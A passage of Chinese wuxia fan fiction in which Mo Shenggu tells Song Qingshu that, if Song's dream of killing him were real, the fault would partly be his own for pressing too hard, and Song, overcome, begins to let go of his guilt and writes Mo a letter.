宋青书有些不自在，目光落在那个油布包上，又移开，落到窗外被雨帘模糊的夜色里。他知道自己该说点什么，感谢，或是问问山上的情况，可喉咙里像塞了团棉花，一个字也挤不出来。那日剖白后，每次面对七叔，他都有种无处遁形的慌乱，仿佛自己所有隐藏的狼狈和不堪，都在那双过于锐利的眼睛下无所遁形。
莫声谷也没有立刻离开。他就那么站着，看着宋青书侧脸上被灯光勾勒出的、显得格外脆弱的轮廓，看着他微微抿紧的、没什么血色的唇，还有那下意识蜷起、搭在医书边缘的、细瘦的手指。雨声喧嚣，却盖不住他心里翻腾的、这些日子以来反复思量、却始终未能出口的话。
他想起那夜宋青书在昏迷中喊出的“七叔别死”，想起他醒来后那份沉重的、几乎压垮他自己的愧疚，想起他对“误杀”之事绝口不提却夜夜惊魇的恐惧，更想起不久前，他当着所有人的面，用那样平静却绝望的语气，述说那个“杀了七叔、背叛武当”的“梦”。
事后静思，尤其是看着宋青书如今这副拼命想从“无用”和“悔恨”中挣脱出来、踉跄前行却依旧被噩梦缠绕的模样，一个念头，如同这夏夜的闪电，猝然劈亮了他心中某个一直被忽略的角落。
或许……那不仅仅是一个梦？
这个念头让他自己都心惊。可若非亲身经历过极致的恐惧与悔恨，怎会幻化出如此清晰具体、连细节都令人胆寒的“梦境”？若非真实地、在某种情境下“目睹”或“造成”过无法挽回的后果，又怎会将对“七叔”的愧疚，深刻沉重至此，成为心魔的核心？
如果……如果那不是梦……
莫声谷的呼吸微微一滞，胸口像是被什么东西重重撞了一下。他看着眼前这个苍白消瘦、仿佛轻轻一折就会断掉的青年，想起他年少时跟在自己身后练剑、眼中全是崇拜与依赖的光芒，想起他后来渐渐疏远、眼中多了复杂难言的情绪……许多被忽略的细节，似乎都串联了起来。
“青书。”莫声谷忽然开口，声音在哗哗雨声中显得有些沉闷，却异常清晰。
宋青书肩膀几不可察地抖了一下，慢慢转过身，抬起眼，带着一丝疑惑和不易察觉的紧张，望向他。
莫声谷往前走了一步，离得更近了些。油灯的光晕将他半边脸映得明亮，另半边隐在阴影里，神情显得格外凝重。他目光沉沉地锁住宋青书的眼睛，仿佛要透过那层竭力维持的平静，看进他灵魂最深处，看进那个或许连宋青书自己都不敢直面、只能以“梦”为名的真相里去。
“你之前说……”莫声谷的喉结滚动了一下，声音压得更低，带着一种奇异的、近乎探究的慎重，“你做了一个梦。梦里……你杀了我。”
宋青书的脸色“唰”地一下变得惨白，连嘴唇都失了颜色。他像是被这句话烫到，猛地向后退了一小步，脊背抵住了冰冷的药柜，指尖深深掐进了掌心。眼中瞬间涌上巨大的惊惶与痛苦，还有一丝被骤然触及最痛处的狼狈无措。他张了张嘴，却只发出一点气音，随即死死咬住了下唇，别开脸，不敢再看莫声谷。
这反应，无疑印证了莫声谷心中的猜测。那绝不仅仅是一个噩梦那么简单。
莫声谷没有逼他，只是看着他剧烈颤抖的睫毛和煞白的脸，心中的那个念头越发清晰，也越发沉重。他没有追问“是不是真的”，而是用一种缓慢的、仿佛每个字都经过千钧重压才吐露出来的语调，继续说了下去：
“我在想……”
他停顿了一下，似乎在组织最难措辞的语言，目光却始终没有离开宋青书。
“假如……假如那不是梦。”
宋青书浑身剧震，倏然抬头，难以置信地瞪大眼睛看着莫声谷，仿佛听到了世上最恐怖、最不可思议的话。他眼中的惊恐几乎要满溢出来，混合着更深的绝望，仿佛最后的伪装也被毫不留情地撕开。
莫声谷迎着他这样惊骇的目光，心中最后一丝不确定也消失了。他没有退缩，反而向前又踏了极小的一步，距离近得能感受到彼此呼吸的微颤。他的声音不再沉郁，反而带上了一种近乎残酷的冷静，一字一句，清晰得如同刀刻：
“假如那不是梦……假如你真的，在某个时候，因为某种缘故，对我……”他顿了顿，终究没有说出“下手”或“杀害”这样的字眼，只是含糊地带过，“……那么。”
他的目光变得更加深沉，里面翻涌着复杂的情绪，有痛楚，有审视，但更多的，是一种骤然明悟后的、沉重的自责。
“那应该……也是我不对。”
宋青书彻底呆住了，瞳孔骤缩，像是完全听不懂他在说什么。不对？七叔说……是七叔不对？
莫声谷看着他那茫然震惊到极点的样子，心中那钝痛的感觉越发清晰。他想起自己一贯的性子，刚直，急躁，眼里揉不得沙子，对亲近之人要求尤甚。若青书当真犯下大错，以自己从前的脾气……
他闭了闭眼，复又睁开，语气是前所未有的沉缓，带着一种自我剖析的艰难：
“我必定是……太过于逼迫你。”
“逼你去承认你或许还没准备好面对的错，逼你在我面前，在所有人面前，撕开伤口，血淋淋地认罪。”
“我没有给你留下……任何转圜的余地，任何……稍微不那么难堪的退路。”
他的声音低了下去，仿佛也被这自己推断出的“可能”压得喘不过气。
“我把你……逼到了绝境。所以，你才会……”
宋青书呆呆地站着。
七叔竟说……是他不对？是他逼迫太甚？
长久以来，宋青书将所有的罪责、所有的错误都扛在自己身上，认为是自己心术不正，是自己卑鄙无耻，是自己一时鬼迷心窍或蓄意为之。他从未、也不敢从另一个角度去想——当时的境况，旁人的态度，尤其是七叔那刚烈眼里容不得沙子的性情，是否也是将那把致命之剑递到自己手中的推手？
这突如其来的、完全颠覆他自我认知的“指控”，像一道狂暴的闪电，不是劈向他，而是劈向了他心中那座名为“罪孽”的、坚不可摧的黑色山峰。
山峰剧烈摇晃，碎石滚落。
他猛地抬手捂住了嘴，眼泪不受控制地涌出，和冷汗混在一起，狼狈不堪。
莫声谷脸色一变，立刻上前扶住他摇摇欲坠的身体。“青书！”
就在这时，后堂传来宋远桥走近的脚步声和关切询问：“青书？怎么了？咳得这么厉害？”
莫声谷深深看了一眼几乎站立不住的宋青书，那一眼包含了太多复杂难言的东西。然后，他猛地转身，没有再看宋远桥，也没有留下只言片语，一把拉开门，高大的身影决绝地冲进了门外无边无际的、哗哗作响的暴雨黑夜之中，顷刻间便被吞没，消失不见。
只留下满室冰凉的水汽，摇曳的昏暗灯光，跌坐在药柜旁剧烈喘息、咳得撕心裂肺、泪流满面的宋青书，和那个被遗忘在诊桌上、依旧干燥的油布包。
雨，还在下。又急又猛，仿佛要洗净天地间所有的尘埃与隐秘。
而宋青书心中那座黑沉的山，在雷霆般的“是我不对”的轰击下，已然出现了巨大的、贯穿性的裂痕。有什么冰冷坚硬的东西，正在那裂痕深处，悄然松动、融化。
莫声谷那句话，像一道裹挟着惊雷与冰雹的飓风，蛮横地撞开了宋青书心中那座囚禁他太久、压得他几乎魂飞魄散的漆黑堡垒。
“假如不是梦……那应该也是我不对。”
“我必定是……太过于逼迫你。”
每一个字，都像烧红的烙铁，狠狠烫在他早已麻木溃烂的良知上。不是指责，不是质问，而是……揽罪。七叔将那把可能沾染过他自己鲜血的利刃，调转方向，对准了他自己。
宋青书最初的反应是极致的惊恐与混乱。他像被逼到绝境的幼兽，咳得撕心裂肺，泪汗交流，挣脱开莫声谷试图搀扶的手，蜷缩在冰冷的药柜角落，只觉得天旋地转，五脏六腑都搅在了一起。太师父的宽容，父亲的悔悟，诸位师叔的尽力周全……这些温暖他并非感受不到，但它们像隔着一层厚重的琉璃，看得见，却始终无法真正暖透他冻僵的魂魄。因为最深的那根毒刺——对七叔的“杀害”与背叛——是他独自吞咽、连在“梦”中都不敢完整呈现的绝毒，是他一切自我厌弃与无用感的终极根源。
可现在，那个他以为永远无法面对、只能带进坟墓的“真相”，竟然被七叔以一种如此残酷又如此……慈悲的方式，劈开了最外面那层自欺的壳。七叔没有说“你杀了我”，他说“是我不对”。没有追究他宋青书的罪孽，反而将可能的“因”，归咎于他自己的“逼迫”。
这颠覆性的认知，像一把无比锋利的、却也是唯一能撬开那坚硬心壳的钥匙。剧烈的呛咳与眩晕中，宋青书混乱的思绪里，翻腾着前尘往事的碎片——七叔严厉的斥责，失望的眼神，得知他偷窥峨眉女侠时那暴怒到几乎要立刻清理门户的决绝……是的，七叔刚烈，眼里揉不得沙子，对亲近之人要求尤严。若自己当真铸下大错，以七叔的性子，必定是不问情由、雷霆震怒，要立刻押他回山，当众治罪，绝不姑息。
那时的自己呢？惶恐，绝望，被陈友谅拿捏，对周芷若又惧又愧，对武当声名与父亲颜面的担忧压垮了最后一丝理智……在那种绝境下，面对七叔不容分说的、代表着“绝对正确”与“最终审判”的逼迫，会做出什么？
那荒野的一剑，究竟是卑鄙的蓄意谋杀，还是在极端压力与恐惧下的疯狂失手？抑或是……一种更绝望的、想要终结一切痛苦、包括终结那个让自己无地自容的“审判者”的癫狂？
他从未敢深想。因为无论哪种，结果都一样——七叔倒下了。这是他灵魂上永不愈合的伤口。
可如今，七叔却说，若真有此事，“也是我不对”。是他“太过于逼迫”，没有留下“转圜的余地”，没有给“稍微不那么难堪的退路”。
这句话，像一道最猛烈的阳光，骤然刺穿了宋青书自我囚禁的、最黑暗的牢狱深处。原来……原来那滔天的罪孽，那无法承受的愧疚，并非全然是他宋青书一人心性卑劣、无可救药的证明。原来在那种情境下，七叔的“对”，也可能成为一种将他推向深渊的“错”。
这并非为他开脱。他犯下的错，他造成的伤害，依旧血淋淋地存在。但这认知，像是一下子将那压得他脊椎都要断裂的、名为“全责”的巨石，撬松了一个角。巨石依旧在，却不再是他必须、且只能独自背负的永恒诅咒。有人……那个他最愧对的人，竟然愿意分走一部分重量，哪怕是以“自责”的方式。
巨大的冲击过后，是一种近乎虚脱的平静，以及从这平静深处，渐渐涌上来的、滚烫的、几乎要将他淹没的洪流——
是感动。
排山倒海，无法遏制的感动。
太师父的宽厚，是老人的慈悲；父亲的悔悟，是血浓于水的天性；师叔们的关怀，是同门之谊的延伸。唯有七叔此刻这“揽罪”之言，是真正将他宋青书——这个罪人，这个懦夫，这个挣扎在泥泞里的灵魂——放到了一个近乎“平等”的位置上去理解，去体谅，甚至去……分担。
七叔没有原谅他，他甚至不敢奢求原谅，七叔只是……理解了他那一刻可能的绝望。这种理解，比任何宽恕都更沉重，也更珍贵。因为它基于一种深刻的、将心比心的审视，审视他们彼此的性格，审视当时可能的情境，审视“对”与“错”之间那模糊而残酷的灰色地带。
宋青书依旧在颤抖，泪水无法控制地奔流，但不再是纯粹痛苦的宣泄。那泪水滚烫，冲刷着他苍白脸颊上的汗渍与惊惶，也仿佛在冲刷着灵魂深处那层厚厚的、名为“自我定罪”的污垢。他靠着药柜，慢慢滑坐在地上，将脸深深埋进屈起的膝盖，肩膀剧烈地耸动，发出压抑的、闷在胸腔里的呜咽。这一次，不是咳，是哭。像一个终于被允许哭泣的孩子，哭出所有的委屈、恐惧、悔恨，以及那猝然降临的、几乎承受不住的撼动与温暖。
心结……原来解开的瞬间，并非云开月明般的豁然开朗，而是这般山崩地裂般的疼痛与释放。那根扎得最深、毒液最烈的刺，被七叔以一种近乎自残的方式，硬生生拔了出来。留下一个鲜血淋漓、空洞洞的伤口，却也带走了那日夜腐蚀骨髓的毒素。
雨还在下，哗啦啦地敲打着门窗屋顶。不知过了多久，宋青书的哭声渐渐低了下去，只剩下细微的抽噎。他抬起头，脸上泪痕狼藉，眼睛红肿，眼神却不再是一片死寂的灰败或惊惶的空洞。那里有未散的泪光，有释放后的疲惫，但更深处，一种沉淀下来的、近乎清澈的平静，正在慢慢浮现。
他望向门口，七叔早已冲入雨中离去。地上还有他留下的湿漉漉的脚印，诊桌上，那个油布包静静搁着。
宋青书挣扎着，扶着药柜慢慢站起来。腿还有些软，心口依旧因激烈的情绪起伏而闷痛，咳意也未全然平复，但那股一直萦绕不散的、沉甸甸的自我厌弃与绝望的枷锁，却真切地松开了。他走到桌边，手指有些发颤地，轻轻碰了碰那个油布包。
里面是七叔冒雨送来的老参。
为了给他“补气”。
宋青书闭上眼，深深吸了一口气，空气中弥漫着药材的苦香和雨水的清新。再睁开时，他眼中最后一丝迷茫与挣扎，也悄然散去。
他走到门边，拉开一条缝隙。暴雨如注，街上空无一人，只有昏黄的灯笼在风雨中飘摇。早已看不见七叔的身影。
但他知道，有些东西，已经不一样了。
他转身回到诊桌后，没有继续整理医书，而是铺开一张干净的纸，研墨，提笔。笔尖悬在纸上良久，终于落下。
不是药方，也不是医案。
他写得很慢，很认真，字迹虽因体力未复而略显虚浮，却一笔一划，力透纸背。
他在写信。写给七叔。
不需要太多言语，也许只是简单的“参已收到，多谢七叔”，也许……会多一点别的。他不知道七叔能否看懂，但他需要写下这一刻的心境，这豁然开朗后的清明，这卸下最沉重枷锁后、对前路重新生出的、微弱的却真实的勇气。
雨声渐渐转小，由倾盆之势化为淅淅沥沥的缠绵。后堂传来宋远桥刻意放轻的脚步声，他终究是不放心，悄悄过来看了一眼。见儿子虽眼眶红肿，神情却是一种前所未有的平和，正专注地伏案书写，宋远桥站在暗处，看了片刻，心中诧异，却又莫名一松，悄然退了回去，未曾打扰。